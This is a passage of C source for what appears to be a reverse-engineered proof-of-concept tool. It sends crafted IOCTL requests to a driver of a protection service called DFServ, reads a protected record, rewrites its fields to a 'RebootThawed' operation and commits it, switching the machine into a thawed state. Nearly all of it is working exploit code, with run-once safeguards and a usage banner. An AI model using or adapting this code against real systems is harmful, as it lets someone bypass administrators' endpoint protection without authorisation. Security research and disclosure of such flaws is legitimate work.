* trailer+0x00 = id, trailer+0x82 = 1, trailer+0x8A = slot, trailer+0x8E = 146,
* and payloadLen-146 = N. Any shorter payload is rejected by sub_140022E54 with
* STATUS_INVALID_PARAMETER, which is the reported 0x57.
*
* This is DFServ v10 sub_4BCE74's a6 != 1 branch: OutputBuffer=NULL and
* OutputBufferLength=0, success judged by Information == N. Nothing is copied
* back to a user output buffer in that form, so this is a pre-flight check on
* the request format, not the record read (the record comes from 0x72020). */
static BOOL verify_read_call(DWORD id,DWORD n,DWORD slot) {
DWORD payload_n=n+TAIL_SIZE, wire_n=0, returned=0;
BYTE *payload=allocate(payload_n), *wire;
BOOL ok;
if(!payload) return FALSE;
put16(payload+0x02,0x1712);
put32(payload+0xD4,id);
put32(payload+n+0x00,id);
put32(payload+n+0x82,1);
put32(payload+n+0x8A,slot);
put32(payload+n+0x8E,TAIL_SIZE);
inner_transform(payload,payload_n);
wire=wrap(payload,payload_n,id,&wire_n);
release(payload);
if(!wire) return FALSE;
ok=raw_call(IO_READ,wire,wire_n,NULL,0,&returned);
release(wire);
if(!ok) return FALSE;
if(returned!=n) { say("Unexpected 0x72024 completion length.\r\n"); return FALSE; }
return TRUE;
}
static DWORD thaw_once(void) {
DWORD id=0,key=0,n=0,returned=0,wire_n=0,payload_n=0;
BYTE size_bytes[4]={0};
BYTE *record=NULL,*payload=NULL,*wire=NULL;
DWORD result=1;
if(!verify_target()) return 1;
if(!query_raw(IO_RECORD_ID,&id) || !query_raw(IO_TYPE1,&key)) return 1;
say("record id from 0x724E4: "); hex32(id);
say(" type1 from 0x7207C: "); hex32(key); say("\r\n");
/* v10 length query is 0x72020, NOT 0x72024. */
if(!meta_call(id,0,size_bytes,4,&returned)) return 1;
if(returned!=4) { say("Unexpected length-query completion size.\r\n"); return 1; }
n=get32(size_bytes);
if(n<MIN_RECORD || n>MAX_RECORD) {
say("Refusing unexpected record length: "); hex32(n); say("\r\n"); return 1;
}
say("record length from 0x72020: "); hex32(n); say("\r\n");
/* Same handler, OutputBufferLength >= n => the record itself is returned. */
record=allocate(n);
if(!record) return 1;
if(!meta_call(id,0,record,n,&returned) || returned!=n) {
say("Refusing: record read did not return n bytes.\r\n"); goto done;
}
if(get16(record+2)!=0x1712 || get32(record+0xD4)!=id) {
say("Refusing: inconsistent record header/id.\r\n"); goto done;
}
/* Optional pre-flight: the corrected 0x72024 request form. Until v11 the
* candidate sent a bare 4-byte payload here, which the driver always
* rejected with 0x57. */
if(!verify_read_call(id,n,SLOT0)) {
say("Corrected 0x72024 request was not accepted; aborting before the write.\r\n");
goto done;
}
say("Corrected 0x72024 request accepted.\r\n");
/* Build the 0x72094 commit exactly as DFServ v10 sub_4BCE74 does:
* payload = record(N) || 146-byte trailer, inner transform, outer wrap.
* The driver clones the current record and adopts only +0x04 and +0x72. */
payload_n=n+TAIL_SIZE;
payload=allocate(payload_n);
if(!payload) goto done;
copy_bytes(payload,record,n);
put32(payload+0x04,1); /* one thawed initialization interval */
put16(payload+0x72,7); /* DFServ RebootThawed operation */
put32(payload+n+0x00,id);
put32(payload+n+0x82,1);
put32(payload+n+0x8A,SLOT0);
put32(payload+n+0x8E,TAIL_SIZE);
inner_transform(payload,payload_n);
wire=wrap(payload,payload_n,id,&wire_n);
if(!wire) goto done;
say("Submitting ONE 0x72094 request (count=1, operation=7).\r\n");
if(!raw_call(IO_COMMIT,wire,wire_n,NULL,0,&returned)) {
say("Write outcome is not confirmed; do not assume nothing changed. No retry was made.\r\n");
goto done;
}
if(returned!=n) {
say("Unexpected completion length; write may have occurred. No retry was made.\r\n");
goto done;
}
say("Driver reported success. No reboot was requested. Actual thaw state is not verified.\r\n");
result=0;
done:
release(wire); release(payload); release(record);
return result;
}
/* Custom PE entry point keeps the executable independent of UCRT/.NET. */
void entry(void) {
int argc=0; DWORD result=2;
WCHAR **argv=CommandLineToArgvW(GetCommandLineW(),&argc);
if(argv && argc==2 && equal_w(argv[1],L"--thaw-once")) result=thaw_once();
else say("Version-pinned static-analysis PoC (v11).\r\nUsage: thaw_once_v11_candidate.exe --thaw-once\r\nNo device calls made without that argument. No automatic reboot.\r\n");
if(argv) LocalFree(argv);
ExitProcess(result);
}